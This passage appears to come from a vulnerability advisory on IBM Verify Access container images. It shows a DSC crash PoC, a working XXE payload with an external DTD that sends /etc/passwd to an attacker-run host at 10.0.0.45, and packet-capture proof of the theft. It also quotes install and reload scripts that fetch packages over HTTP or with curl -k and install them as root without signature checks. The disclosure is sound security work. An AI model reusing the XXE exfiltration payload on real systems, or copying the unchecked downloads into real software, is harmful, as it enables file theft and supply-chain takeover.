PoC, the verify-access-dsc instance is running:\n\n [root@container-02]# podman ps\n CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES\n e462789b901b ibmcom/verify-access-runtime/10.0.4.0:20220926.6 28 hours ago Up 28 hours ago (healthy) 0.0.0.0:9443-\u003e9443/tcp verify-access-runtime\n 0ff1b85073d6 ibmcom/verify-access-dsc/10.0.4.0:20220926.6 28 hours ago Up 28 minutes ago (healthy) 0.0.0.0:8443-8444-\u003e8443-8444/tcp verify-access-dsc\n\nAfter the PoC, the verify-access-dsc instance does not run anymore:\n\n [root@container-02]# podman ps\n CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES\n e462789b901b ibmcom/verify-access-runtime/10.0.4.0:20220926.6 28 hours ago Up 28 hours ago (healthy) 0.0.0.0:9443-\u003e9443/tcp verify-access-runtime\n [root@container-02]#\n\nAn attacker with the dsc-client SSL certificate can crash the DSC servers and crash the entire authentication system. \n\n\n\n## Details - XML External Entity (XXE) in dscd \n\nIt was observed that the DSC (Distributed Session Cache) servers are vulnerable to XML External Entity (XXE) attacks. DSC servers are used to store session information. \n\nThe DSC servers are reachable using the `/DSess/services/DSess` API running on port 8443/tcp. \n\nWith a client certificate, we can reach the `/DSess/services/DSess` API. \n\nContent of the `payload.txt` file containing the XXE payload that will be sent to the remote DSC server:\n\n \u003c?xml version=\"1.0\" encoding=\"utf-8\" ?\u003e\n \u003c!DOCTYPE foo [\n \u003c!ENTITY % xxe SYSTEM \"http://10.0.0.45/dtd.xml\"\u003e\n %xxe;\n ]\u003e\n \u003cfoo\u003e\u003c/foo\u003e\n \u003cSOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\u003e\n \u003cSOAP-ENV:Body\u003e\n \u003cns1:ping xmlns:ns1=\"http://sms.am.tivoli.com\"\u003e\n \u003cns1:something\u003eX\u003c/ns1:something\u003e\n \u003c/ns1:ping\u003e\n \u003c/SOAP-ENV:Body\u003e\n \u003c/SOAP-ENV:Envelope\u003e\n\n\nContent of the `dtd.xml` file hosted on http://10.0.0.45/. This DTD file is referenced by the `payload.txt` file:\n\n kali% cat /var/www/html/dtd.xml \n \u003c!ENTITY % file SYSTEM \"file:///etc/passwd\"\u003e\n \u003c!ENTITY % eval \"\u003c!ENTITY \u0026#x25; exfiltrate SYSTEM \u0027http://10.0.0.45/?x=%file;\u0027\u003e\"\u003e\n %eval;\n %exfiltrate;\n\nSending the previous payload will result in an exception on the remote DSC server:\n\n kali% curl --key dsc-client.key --cert dsc-client.pem --show-error --insecure https://dsc-02.test.lan:8443/DSess/services/DSess -H \u0027SOAPAction: \"ping\"\u0027 --data \u0027@payload.txt\u0027 -v\n * Trying 10.0.0.16:8443... \n * Connected to dsc-02.test.lan (10.0.0.16) port 8443 (#0)\n [...]\n \u003e POST /DSess/services/DSess HTTP/1.1\n \u003e Host: dsc-02.test.lan:8443\n \u003e User-Agent: curl/7.82.0\n \u003e Accept: */*\n \u003e SOAPAction: \"ping\"\n \u003e Content-Length: 453\n \u003e Content-Type: application/x-www-form-urlencoded\n \u003e \n * Mark bundle as not supporting multiuse\n \u003c HTTP/1.1 200 OK\n \u003c Server: Apache Axis C++/1.6.a\n \u003c Connection: close\n \u003c Content-Length: 330\n \u003c Content-Type: text/xml\n \u003c \n \u003c?xml version=\u00271.0\u0027 encoding=\u0027utf-8\u0027 ?\u003e\n \u003cSOAP-ENV:Envelope\u003e\n \u003cSOAP-ENV:Body\u003e\n \u003cSOAP-ENV:Fault\u003e\n \u003cfaultcode\u003eSOAP-ENV:Server\u003c/faultcode\u003e\n \u003cfaultstring\u003eUnknown exception\u003c/faultstring\u003e\n \u003cfaultactor\u003eserver name:listen port\u003c/faultactor\u003e\n \u003cdetail\u003eUnknown Exception has occured\u003c/detail\u003e\n \u003c/SOAP-ENV:Fault\u003e\n \u003c/SOAP-ENV:Body\u003e\n \u003c/SOAP-ENV:Envelope\u003e\n \n * Closing connection 0\n * TLSv1.2 (OUT), TLS alert, close notify (256):\n\n\nAt the same time, when sniffing the HTTP connections to the remote HTTP server providing `http://10.0.0.45/?x=%file`, we can observe HTTP requests from the DSC server (acting as a HTTP client). \n\nThere is a successful exfiltration of the `/etc/passwd` file of the DSC instance - this file was specified in the `dtd.xml` file at `http://10.0.0.45/dtd.xml`, used by the malicious payload:\n\n kali# tcpdump -n -i eth0 -s0 -X port 80\n tcpdump: verbose output suppressed, use -v[v]... for full protocol decode\n listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes\n 10:01:12.655204 IP 10.0.0.16.60254 \u003e 10.0.0.45.80: Flags [P.], seq 1:753, ack 1, win 229, options [nop,nop,TS val 2959987485 ecr 3936552717], length 752: HTTP: GET /root:x:0:0:root:/root:/bin/bash\n [...]\n 0x0030: eaa3 070d 4745 5420 2f72 6f6f 743a 783a ....GET./root:x:\n 0x0040: 303a 303a 726f 6f74 3a2f 726f 6f74 3a2f 0:0:root:/root:/\n 0x0050: 6269 6e2f 6261 7368 0a62 696e 3a78 3a31 bin/bash.bin:x:1\n 0x0060: 3a31 3a62 696e 3a2f 6269 6e3a 2f73 6269 :1:bin:/bin:/sbi\n 0x0070: 6e2f 6e6f 6c6f 6769 6e0a 6461 656d 6f6e n/nologin.daemon\n 0x0080: 3a78 3a32 3a32 3a64 6165 6d6f 6e3a 2f73 :x:2:2:daemon:/s\n 0x0090: 6269 6e3a 2f73 6269 6e2f 6e6f 6c6f 6769 bin:/sbin/nologi\n 0x00a0: 6e0a 6164 6d3a 783a 333a 343a 6164 6d3a n.adm:x:3:4:adm:\n 0x00b0: 2f76 6172 2f61 646d 3a2f 7362 696e 2f6e /var/adm:/sbin/n\n 0x00c0: 6f6c 6f67 696e 0a6c 703a 783a 343a 373a ologin.lp:x:4:7:\n 0x00d0: 6c70 3a2f 7661 722f 7370 6f6f 6c2f 6c70 lp:/var/spool/lp\n 0x00e0: 643a 2f73 6269 6e2f 6e6f 6c6f 6769 6e0a d:/sbin/nologin. \n 0x00f0: 7379 6e63 3a78 3a35 3a30 3a73 796e 633a sync:x:5:0:sync:\n 0x0100: 2f73 6269 6e3a 2f62 696e 2f73 796e 630a /sbin:/bin/sync. \n 0x0110: 7368 7574 646f 776e 3a78 3a36 3a30 3a73 shutdown:x:6:0:s\n 0x0120: 6875 7464 6f77 6e3a 2f73 6269 6e3a 2f73 hutdown:/sbin:/s\n 0x0130: 6269 6e2f 7368 7574 646f 776e 0a68 616c bin/shutdown.hal\n 0x0140: 743a 783a 373a 303a 6861 6c74 3a2f 7362 t:x:7:0:halt:/sb\n 0x0150: 696e 3a2f 7362 696e 2f68 616c 740a 6d61 in:/sbin/halt.ma\n 0x0160: 696c 3a78 3a38 3a31 323a 6d61 696c 3a2f il:x:8:12:mail:/\n 0x0170: 7661 722f 7370 6f6f 6c2f 6d61 696c 3a2f var/spool/mail:/\n 0x0180: 7362 696e 2f6e 6f6c 6f67 696e 0a6f 7065 sbin/nologin.ope\n 0x0190: 7261 746f 723a 783a 3131 3a30 3a6f 7065 rator:x:11:0:ope\n 0x01a0: 7261 746f 723a 2f72 6f6f 743a 2f73 6269 rator:/root:/sbi\n 0x01b0: 6e2f 6e6f 6c6f 6769 6e0a 6761 6d65 733a n/nologin.games:\n 0x01c0: 783a 3132 3a31 3030 3a67 616d 6573 3a2f x:12:100:games:/\n 0x01d0: 7573 722f 6761 6d65 733a 2f73 6269 6e2f usr/games:/sbin/\n 0x01e0: 6e6f 6c6f 6769 6e0a 6674 703a 783a 3134 nologin.ftp:x:14\n 0x01f0: 3a35 303a 4654 5020 5573 6572 3a2f 7661 :50:FTP.User:/va\n 0x0200: 722f 6674 703a 2f73 6269 6e2f 6e6f 6c6f r/ftp:/sbin/nolo\n 0x0210: 6769 6e0a 6e6f 626f 6479 3a78 3a36 3535 gin.nobody:x:655\n 0x0220: 3334 3a36 3535 3334 3a4b 6572 6e65 6c20 34:65534:Kernel. \n 0x0230: 4f76 6572 666c 6f77 2055 7365 723a 2f3a Overflow.User:/:\n 0x0240: 2f73 6269 6e2f 6e6f 6c6f 6769 6e0a 6973 /sbin/nologin.is\n 0x0250: 616d 3a78 3a36 3030 303a 3630 3030 3a3a am:x:6000:6000::\n 0x0260: 2f68 6f6d 652f 6973 616d 3a2f 6269 6e2f /home/isam:/bin/\n 0x0270: 6261 7368 0a69 766d 6772 3a78 3a36 3030 bash.ivmgr:x:600\n 0x0280: 313a 3630 3031 3a41 6363 6573 7320 4d61 1:6001:Access.Ma\n 0x0290: 6e61 6765 7220 5573 6572 3a2f 6f70 742f nager.User:/opt/\n 0x02a0: 506f 6c69 6379 4469 7265 6374 6f72 3a2f PolicyDirector:/\n 0x02b0: 6269 6e2f 6661 6c73 650a 7469 766f 6c69 bin/false.tivoli\n 0x02c0: 3a78 3a36 3030 323a 3630 3032 3a4f 776e :x:6002:6002:Own\n 0x02d0: 6572 206f 6620 5469 766f 6c69 2043 6f6d er.of.Tivoli.Com\n [...]\n\nAn attacker can read any file located in the instance - the DSC server will send any file specified in the payload to an attacker-controlled HTTP server. \n\nAn attacker with the dsc-client SSL certificate can exfiltrate any sensitive information from the instance. \n\n\n\n## Details - Remote Code Execution due to insecure download of rpm and zip files in verify-access-dsc, verify-access-runtime and verify-access-wrp (/usr/sbin/install_isva.sh)\n\nIt was observed that the Docker images verify-access-dsc ,verify-access-runtime and verify-access-wrp use insecure communications to download several rpm and zip files that will then be installed or decompressed as root. \n\nThe `/usr/sbin/install_isva.sh` script contains insecure downloading of rpm files and zip files. These rpm files will then be installed as root. \n\nAn attacker located on the network can inject malicious rpm or zip files into the authentication platform and take control over the entire authentication platform. \n\nThere are 3 different `/usr/sbin/install_isva.sh` scripts found in these images but they share the same vulnerable code:\n\n kali-docker# sha256sum **/install_isva.sh \n 1c851f579baeda9d3c11e7721aaa5960dc6a3d6b052bcc8a46979d0634e31892 _verify-access-dsc.tar/787d9cec79e27fccd75a56b7101b39da38161f9d3749d6d0fd7cfcc8252aca34/usr/sbin/install_isva.sh\n 00f2ca8ad004af9c9e16b6cfdf480dcdb52dc36c7ff64df2bcc34495f6a9ae8d _verify-access-runtime.tar/694cb5f84eff9a4b0aac37a4bd9f65116051953f3aee5e4e998af5938e684a5e/usr/sbin/install_isva.sh\n 8a59d7f89c6d587d9b764b9e4748cf0d20d406f65433a813464b32a13745f6da _verify-access-wrp.tar/937031a6ab4bc7bd504dcbee8d242f181e904c1722489077cf468daae176e2da/usr/sbin/install_isva.sh\n\nVulnerable code in verify-access-dsc - download over HTTP or without checking the SSL certificate (lines 24, 60 and 82) and installation of packages as root without checking the signatures (line 76):\n\nContent of `/usr/sbin/install_isva.sh` in verify-access-dsc:\n\n[code:shell]\n22 files=/root/files.txt\n23 \n24 curl -k ${WEBSERVER}/ -o $files \n[...]\n38 #\n39 # Install each of our RPMs. \n40 #\n41 \n42 pkgs=\"gskcrypt64 \\\n43 gskssl64 \\\n44 Base-ISVA \\\n45 idsldap-license64 \\\n46 idsldap-cltbase64 \\\n47 idsldap-clt64bit64 \\\n48 Pdlic-PD \\\n49 TivSecUtl-TivSec \\\n50 PDRTE-PD \\\n51 PDWebRTE-PD \\\n52 PDWebDSC-PD\"\n53 \n54 for pkg in $pkgs; do\n55 echo \"Installing $pkg\"\n56 \n57 # Download and install the file. \n58 rpm_file=`locate_rpm_file $pkg`\n59 \n60 curl -fail -s -k ${WEBSERVER}/$rpm_file -o /root/$rpm_file\n[...]\n76 rpm -i $extra_args /root/$rpm_file\n[...]\n78 # Download the include file and delete all files not included in the file. \n79 include=`rpm -qp /root/$rpm_file --qf \"%{NAME}.include\"`\n80 include_file=/root/$include\n81 \n82 set +e; curl --fail -s -k ${WEBSERVER}/$include -o $include_file; rc=$?; set -e\n83 \n84 if [ $rc -eq 0 -a -f $include_file ] ; then\n85 # Convert the include file to be regular expression based instead of\n86 # glob based. \n87 sed -i \"s|\\*|.*|g\" $include_file\n88 \n89 for entry in `rpm -ql /root/$rpm_file | grep -xvf $include_file`; do\n90 if [ -f $entry ] ; then\n91 rm -f $entry\n92 fi\n93 done\n94 fi\n[/code]\n\nThe code in verify-access-wrp is also very similar and shares the same vulnerabilities. \n\nVulnerable code in verify-access-runtime - same vulnerability in `/usr/sbin/install_isva.sh` with an additional vulnerability with the insecure download, due to the `-k` option on line 117 (alias to `--insecure`) and extraction of zip files as root in line 119:\n\n[code:shell]\n28 files=/root/files.txt\n29 \n30 curl -k ${WEBSERVER}/ -o $files\n[...]\n41 pkgs=\"gskcrypt64 \\\n42 gskssl64 \\\n43 Base-ISVA \\\n44 PDlic-PD \\\n45 TivSecUtl-TivSec \\\n46 PDRTE-PD \\\n47 PDWebWAPI-PD \\\n48 PDWebDSC-PD \\\n49 VerifyAccessRuntimeFeatures \\\n50 MesaConfig \\\n51 FIM \\\n52 RBA\"\n53 \n54 for pkg in $pkgs; do\n55 echo \"Installing $pkg\"\n56 \n57 # Download and install the file. \n58 rpm_file=`locate_rpm_file $pkg`\n59 \n60 curl --fail -s -k ${WEBSERVER}/$rpm_file -o /root/$rpm_file\n[...]\n78 rpm -i $extra_args /root/$rpm_file\n79 \n80 # Download the include file and delete all files not included in the file. \n81 include=`rpm -qp /root/$rpm_file --qf \"%{NAME}.include\"`\n82 include_file=/root/$include\n83 \n84 set +e; curl --fail -s -k ${WEBSERVER}/$include -o $include_file; rc=$?; set -e\n85 \n86 if [ $rc -eq 0 -a -f $include_file ] ; then\n87 # Convert the include file to be regular expression based instead of\n88 # glob based. \n89 sed -i \"s|\\*|.*|g\" $include_file\n90 \n91 for entry in `rpm -ql /root/$rpm_file | grep -xvf $include_file`; do\n92 if [ -f $entry ] ; then\n93 rm -f $entry\n94 fi\n95 done\n96 fi\n[...]\n108 zips=\"\\\n109 com.ibm.tscc.rtss.wlp.zip:/opt/rtss \\\n110 com.ibm.isam.common.eclipse.wlp.zip:/opt/IBM \\\n111 pdjrte-0.0.0-0.zip:/opt\"\n112 \n113 for entry in $zips; do\n114 zip=`echo $entry | cut -f 1 -d \u0027:\u0027`\n115 dst=`echo $entry | cut -f 2 -d \u0027:\u0027`\n116 \n117 curl --fail -s -k ${WEBSERVER}/$zip -o /root/$zip\n118 mkdir -p $dst\n119 unzip -q /root/$zip -d $dst\n120 \n121 rm -f /root/$zip\n122 done\n[/code]\n\n\n\n## Details - Remote Code Execution due to insecure download of rpm in verify-access-runtime (/usr/sbin/install_java_liberty.sh)\n\nIt was observed that the Docker image verify-access-runtime insecurely downloads zip files. \n\nAn attacker located on the network can inject malicious zip files into the platform and take control over the entire platform. \n\nThe `/usr/sbin/install_java_liberty.sh` script contains insecure downloading of zip files. These zip files will then be extracted as root into the `/opt/java`, `/opt/ibm`, `/opt/oracle/jdbc` and `/opt/IBM/db2` directories, providing WebSphere Liberty binaries (that will then be used to provide executable code). \n\nIt is also possible to remotely delete any file as root (lines 61 to 65). \n\nVulnerable code in `/usr/sbin/install_java_liberty.sh`:\n\n[code:shell]\n14 web_files=/root/files.txt\n15 \n16 locate_file()\n17 {\n18 grep \"$1\" $web_files | cut -f 2 -d \u0027\"\u0027\n19 }\n20 curl -k ${WEBSERVER}/ -o $web_files\n21\n[...]\n29 #\n30 # Install each of our zip files. \n31 #\n32 \n33 zips=\"\\\n34 ibm-semeru-open-jre_x64_linux_11.*.tar.gz:/opt/java \\\n35 liberty.*.zip:/opt/ibm \\\n36 oracle_jdbc_.*.zip:/opt/oracle/jdbc \\\n37 ibm-db2-jdbc.*.tar.gz:/opt/IBM/db2\"\n38 \n39 for entry in $zips; do\n40 zip=`echo $entry | cut -f 1 -d \u0027:\u0027`\n41 dst=`echo $entry | cut -f 2 -d \u0027:\u0027`\n42 \n43 # Download and install the file. \n44 zip_file=`locate_file $zip`\n45 \n46 curl --fail -s -k ${WEBSERVER}/$zip_file -o /root/$zip_file\n47 \n48 mkdir -p $dst\n49 \n50 set +e; echo $zip | grep -q .zip; rc=$?; set -e\n51 if [ $rc -eq 0 ] ; then\n52 unzip -q /root/$zip_file -d $dst\n53 exclude=`echo $zip_file | sed \"s|.zip|.exclude|g\"`\n54 else\n55 tar -x -C $dst -f /root/$zip_file\n56 exclude=`echo $zip_file | sed \"s|.tar.gz|.exclude|g\"`\n57 fi\n58 \n59 exclude_file=/root/$exclude\n60 \n61 set +e; curl --fail -s -k ${WEBSERVER}/$exclude -o $exclude_file; rc=$?; set -e\n62 \n63 if [ $rc -eq 0 -a -s $exclude_file ] ; then\n64 cd $dst\n65 cat $exclude_file | xargs rm -rf\n66 fi\n[/code]\n\n\n\n## Details - Remote Code Execution due to insecure Repository configuration\n\nIt was observed that the Docker images verify-access-dsc, verify-access-runtime and verify-access-wrp use insecure CentOS repositories:\n\n- - The transport is done over HTTP (in clear-text) - instead of HTTPS. \n- - The check of the signature is disabled. \n- - These repositories will be enabled by default. \n\nAn attacker located on the network (local network or any Internet router located between the instance and the remote mirror.centos.org server) can inject malicious RPMs and take control over the entire platform. \n\nThe `/usr/sbin/install_system.sh` script in these 3 images will enable 4 remote repositories over HTTP and will disable the check of signature of the downloaded packages from these repositories:\n\n 31 centos_repo_file=\"/etc/yum.repos.d/centos.repo\"\n 32 \n 33 cat \u003c\u003cEOT \u003e\u003e $centos_repo_file\n 34 [CentOS-8_base]\n 35 name = CentOS-8 - Base\n 36 baseurl = http://mirror.centos.org/centos/8-stream/BaseOS/x86_64/os\n 37 gpgcheck = 0\n 38 enabled = 1 \n 39 \n 40 [CentOS-8_appstream]\n 41 name = CentOS-8 - AppStream\n 42 baseurl = http://mirror.centos.org/centos/8-stream/AppStream/x86_64/os\n 43 gpgcheck = 0 \n 44 enabled = 1\n 45 EOT\n [...]\n 98 #\n 99 # Enable install of the busybox RPM from the Fedora repository. \n 100 #\n 101 \n 102 fedora_repo_file=\"/etc/yum.repos.d/fedora.repo\"\n 103 \n 104 cat \u003c\u003cEOT \u003e\u003e $fedora_repo_file\n 105 [fedora] \n 106 name=Fedora \n 107 metalink=https://mirrors.fedoraproject.org/metalink?repo=fedora-33\u0026arch=x86_64\n 108 enabled=1\n 109 gpgcheck=0\n 110 \n 111 [fedora-updates]\n 112 name=Fedora Updates\n 113 metalink=https://mirrors.fedoraproject.org/metalink?repo=updates-released-f33\u0026arch=x86_64\n 114 enabled=1\n 115 gpgcheck=0\n 116 EOT\n\nIt was confirmed that this configuration appears in the verify-access-runtime instance in the live system:\n\n [root@container-01]# for i in $(podman ps | grep -v NAMES | awk \u0027{ print $1 }\u0027); do podman ps | grep $i; podman exec -it $i cat /etc/yum.repos.d/centos.repo;echo;done\n 4262005f3646 ibmcom/verify-access/10.0.4.0:20221006.1 7 hours ago Up 7 hours ago (healthy) 0.0.0.0:7443-\u003e9443/tcp verify-access\n cat: /etc/yum.repos.d/centos.repo: No such file or directory\n \n c930c46acd66 ibmcom/verify-access-runtime/10.0.4.0:20221006.1 7 hours ago Up 7 hours ago (healthy) 0.0.0.0:9443-\u003e9443/tcp verify-access-runtime\n name = CentOS-8 - Base\n baseurl = http://mirror.centos.org/centos/8-stream/BaseOS/x86_64/os\n gpgcheck = 0\n enabled = 1\n \n [CentOS-8_appstream]\n name = CentOS-8 - AppStream\n baseurl = http://mirror.centos.org/centos/8-stream/AppStream/x86_64/os\n gpgcheck = 0\n enabled = 1\n \n 48f1b1e8f782 ibmcom/verify-access-dsc/10.0.4.0:20221006.1 7 hours ago Up 7 hours ago (healthy) 0.0.0.0:8443-8444-\u003e8443-8444/tcp verify-access-dsc\n cat: /etc/yum.repos.d/centos.repo: No such file or directory\n \n [root@container-01]#\n\nFurthermore, the script `/usr/sbin/install_system.sh` will insecurely download programs and install them as root, using the previous insecure repositories:\n\n[code:shell]\n 48 # Install tools required for container build process. \n 49 #\n 50 \n 51 microdnf -y install unzip shadow-utils jansson openssl libxslt \\\n 52 libnsl2 gzip cpio tar\n[...]\n 55 # We have an issue where RedHat periodically introduces a dependency on\n 56 # openssl-pkcs11. We don\u0027t actually need this package and so we manually remove\n 57 # it if it has been installed. \n 58 #\n 59 \n 60 if [ `rpm -q -a | grep openssl-pkcs11 | wc -l` -ne 0 ] ; then\n 61 rpm --erase openssl-pkcs11\n 62 fi\n[...]\n 70 rpms=\"\"\n 71 for lang in en cs de es fi fr hu it ja ko nl pl pt ru zh; do\n 72 rpms=\"$rpms glibc-langpack-$lang\"\n 73 done\n[...]\n122 microdnf -y install busybox\n[/code]\n\n\n\n## Details - Additional repository configuration (potential supply-chain attack)\n\nIt was observed that the Docker images verify-access-runtime and verify-access-wrp use a third-party repository configuration, obtained when retrieving the external file at `https://repo.symas.com/configs/SOFL/rhel8/sofl.repo`:\n\nContent of `/usr/sbin/install_system.sh`:\n\n[code:shell]\n47 #\n48 # Install OpenLDAP. This is no longer provided by CentOS. \n49 #\n50 \n51 sofl_repo_file=\"/etc/yum.repos.d/sofl.repo\"\n52 \n53 curl https://repo.symas.com/configs/SOFL/rhel8/sofl.repo \\\n54 -o $sofl_repo_file\n[/code]\n\nIt was confirmed that this configuration appears in the verify-access-runtime instance in the live system:\n\n [isam@verify-access-runtime /]$ cat /etc/yum.repos.d/sofl.repo \n [sofl]\n name=Symas OpenLDAP for Linux RPM repository\n baseurl=https://repo.symas.com/repo/rpm/SOFL/rhel8\n gpgkey=https://repo.symas.com/repo/gpg/RPM-GPG-KEY-symas-com-signing-key\n gpgcheck=1\n enabled=1\n [isam@verify-access-runtime /]$\n\nWhen reading the `/usr/sbin/install_system.sh` script, this repository is used to install an additional package, without checking the signature:\n\n[code:shell]\n58 #\n59 # We want to manually install the openldap server RPM as microdnf pulls\n60 # in a whole heap of dependencies which we don\u0027t require. \n61 #\n62 \n63 baseurl=`grep baseurl $sofl_repo_file | cut -f 2 -d \u0027=\u0027`/x86_64\n64 version=`rpm -q --qf \"%{VERSION}-%{RELEASE}\" symas-openldap`\n65 rpmfile=/tmp/openldap.rpm\n66 \n67 curl $baseurl/symas-openldap-servers-$version.x86_64.rpm -o $rpmfile\n68 \n69 rpm -i --nodeps $rpmfile\n70 \n71 rm -f $rpmfile\n[/code]\n\nThere is a potential supply-chain attack and this dependency is not documented. \n\n\n\n## Details - Remote Code Execution due to insecure /usr/sbin/install_system.sh script in verify-access-runtime\n\nIt was observed that the Docker image verify-access-runtime uses a highly insecure `/usr/sbin/install_system.sh` script. \n\nWith the 2 previous vulnerabilities already explained in Additional repository configuration (potential supply-chain attack) and\nRemote Code Execution due to insecure download of rpm and zip files in verify-access-dsc, verify-access-runtime and verify-access-wrp (/usr/sbin/install_isva.sh),\nthis version adds 2 new vulnerabilities:\n\n- - Installation of 3 packages downloaded over HTTP without checking the signature (lines 82, 84 and 90); and\n- - Replacement of `/usr/share/java/postgresql-jdbc/postgresql.jar` using a postgresql.jar file directly retrieved over HTTP (line 99) and with `-k` (aka `--insecure`). \n\nContent of `/usr/sbin/install_system.sh`:\n\n[code:shell]\n73 #\n74 # For the postgresql packages we need to download and install manually so\n75 # that we don\u0027t also pull in all of the unnecessary dependencies. \n76 #\n77 \n78 centos_base=http://mirror.centos.org/centos/8-stream/AppStream/x86_64/os/Packages/\n79 \n80 rpms=/tmp/rpms.txt\n81 \n82 curl http://mirror.centos.org/centos/8-stream/AppStream/x86_64/os/Packages/ -o $rpms\n83 \n84 for pkg in postgresql-12 postgresql-server-12 postgresql-jdbc-42; do\n85 rpm_file=`grep $pkg $rpms | tail -n 1 | \\\n86 sed \u0027s|.*href=\"||g\u0027 | cut -f 1 -d \u0027\"\u0027`\n87 \n88 echo \"Installing: $rpm_file\"\n89 \n90 rpm -i --nodeps $centos_base/$rpm_file\n91 done\n92 \n93 rm -f $rpms\n94 \n95 #\n96 # Need a more current jar then what is part of the postges-jdbc rpm\n97 #\n98 postgres_jar=`locate_file postgresql-.*.jar`\n99 curl -kv ${WEBSERVER}/$postgres_jar -o /usr/share/java/postgresql-jdbc/postgresql.jar\n[/code]\n\nAn attacker located on the network (local network or any Internet router located between the instance and the remote mirror.centos.org server) can inject malicious rpm or a malicious .jar file and take control over the entire platform. \n\nNote that IBM does not consider this vulnerability since the script is supposed to be executed in a secure network. \n\n\n\n## Details - Remote Code Execution due to insecure reload script in verify-access-runtime\n\nIt was observed that the Docker image verify-access-runtime uses a highly insecure reload script. \n\nAn attacker located on the network can inject a malicious snapshot file into the platform or MITM the connection to a server containing the snapshot image and take control over the entire platform. \n\nThis script is defined at the end of the `/usr/sbin/install_system.sh` script: \n\nContent of `/usr/sbin/install_system.sh` in verify-access-runtime:\n\n[code:shell]\n239 #\n240 # Ensure that the reload script is executable. \n241 #\n242 \n243 mv /sbin/reload.sh /sbin/runtime_reload\n244 \n245 chmod 755 /sbin/runtime_reload\n[/code]\n\nAnalysis of `/sbin/runtime_reload`:\n\nThe function `download_from_cfgsvc()` is insecure as the curl command uses the `-k` option (as known as `--insecure`) to download and install a snapshot into the instance: any invalid SSL certificate for the remote server will be accepted because of the `-k` option. \n\nWe can also see that Postgres does not have passwords in line 144, already found in [Lack of authentication in Postgres inside verify-access-runtime](#no-auth-postgres). \n\n\n\n[code:shell]\n 67 #############################################################################\n 68 # Attempt to download the snapshot from the configuration service. \n 69 \n 70 download_from_cfgsvc()\n 71 {\n 72 # No need to download the snapshot if the configuration service has not\n 73 # been defined. \n 74 if [ -z \"$CONFIG_SERVICE_URL\" ] ; then\n 75 return\n 76 fi\n 77 \n 78 if [ $1 -eq 1 ] ; then\n 79 Echo 960\n 80 fi\n 81 \n 82 curl -k -s --fail -u \"$CONFIG_SERVICE_USER_NAME:$CONFIG_SERVICE_USER_PWD\" \\\n 83 \"$CONFIG_SERVICE_URL/snapshots/`basename $snapshot`?type=File\" \\\n 84 -o $snapshot\n 85 \n 86 if [ $? -ne 0 ] ; then\n 87 if [ $1 -eq 1 ] ; then\n 88 Echo 961\n 89 fi\n 90 \n 91 rm -f $snapshot\n 92 else\n 93 Echo 962\n 94 fi\n 95 }\n[...]\n 97 #############################################################################\n 98 # Main line. \n 99 \n100 #\n101 # Download the snapshot file. \n102 #\n103 \n104 download_from_cfgsvc 1\n[...]\n127 #\n128 # Update the configuration database. \n129 #\n130 \n131 Echo 997\n132 \n133 db_root=/var/postgresql/config\n134 db_snapshot=$db_root/snapshot.sql\n135 db_port=5432\n136 db_name=config\n137 db_user=www-data\n138 \n139 if [ ! -f $db_snapshot ] ; then\n140 Echo 975\n141 exit 1\n142 fi\n143 \n144 psql -U $db_user -d $db_name -p $db_port -f $db_snapshot -q -b -w\n\n[/code]\n\n\n\n## Details - Remote Code Execution due to insecure reload script in verify-access-wrp\n\nIt was observed that the Docker image verify-access-wrp uses a highly insecure reload script. \n\nAn attacker located on the network can inject a malicious snapshot file into the platform or MITM the connection to a server containing the snapshot image and take control over the entire platform. He can also overwrite any file present in the verify-access-wrp docker instance (getting a Remote Code Execution). \n\nThis script is defined at the end of the `/usr/sbin/install_system.sh` script: \n\nContent of `/usr/sbin/install_system.sh` in verify-access-wrp:\n\n[code:shell]\n210 #\n211 # Ensure that the restart script is executable. \n212 #\n213 \n214 mv /sbin/restart.sh /sbin/wrprestart\n215 \n216 chmod 755 /sbin/wrprestart\n[/code]\n\nAnalysis of `/sbin/wrprestart`:\n\nThe function `download_from_cfgsvc()` is insecure as the curl command uses the `-k` option (as known as `--insecure`) to download and install a snapshot into the instance: any invalid SSL certificate for the remote server will be accepted because of the `-k` option. \n\nThe `openldap.zip` file found in the malicious snapshot file will then be decrypted using a previously found hardcoded key and extracted into the `/` directory (line 154 and 156) and openldap will be restarted with the new configuration file, allowing an attacker to get a Remote Code Execution by specifying a malicious `slapd.conf` file (stored inside `openldap.zip`, in `etc/openldap/slapd.conf`). \n\nSince the extraction of `openldap.zip` takes place in `/`, it is also possible to overwrite any file as root (and get Remote Code Execution, e.g. by replacing a program). \n\n[code:shell]\n 85 #############################################################################\n 86 # Attempt to download the snapshot from the configuration service. \n 87 \n 88 download_from_cfgsvc()\n 89 {\n 90 # No need to download the snapshot if the configuration service has not\n 91 # been defined. \n 92 if [ -z \"$CONFIG_SERVICE_URL\" ] ; then\n 93 return\n 94 fi\n 95 \n 96 if [ $1 -eq 1 ] ; then\n 97 Echo 960\n 98 fi\n 99 \n100 curl -k -s --fail -u \"$CONFIG_SERVICE_USER_NAME:$CONFIG_SERVICE_USER_PWD\" \\\n101 \"$CONFIG_SERVICE_URL/snapshots/`basename $snapshot`?type=File\" \\\n102 -o $snapshot\n103 \n104 if [ $? -ne 0 ] ; then \n105 if [ $1 -eq 1 ] ; then \n106 Echo 961 \n107 fi\n108 \n109 rm -f $snapshot\n110 else\n111 Echo 962\n112 fi\n113 }\n[...]\n137 #############################################################################\n138 # Process the OpenLDAP configuration and then restart the OpenLDAP server. \n139 \n140 restart_openldap_server()\n141 {\n142 # Check to see whether the embedded LDAP server has been enabled or\n143 # not. \n144 ldap_conf=\"/var/PolicyDirector/etc/ldap.conf\"\n145 ldap_host=`$pdconf -f $ldap_conf getentry ldap host`\n146 \n147 if [ \"$ldap_host\" != \"127.0.0.1\" ] ; then\n148 return\n149 fi\n150 \n151 Echo 964\n152 \n153 # Decrypt and extract the LDAP configuration. \n154 isva_decrypt $snapshot_tmp_dir/openldap.zip\n155 \n156 unzip -q -o $snapshot_tmp_dir/openldap.zip -d /\n157 \n158 # Change the LDAP port from 389 to 6389 (389 is a privileged port). \n159 $pdconf -f $ldap_conf setentry ldap port 6389\n160 \n161 # Stop the LDAP server. \n162 busybox killall -SIGHUP slapd\n163 \n164 while $(busybox killall -0 slapd 2\u003e/dev/null); do\n165 sleep 1\n166 done\n167 \n168 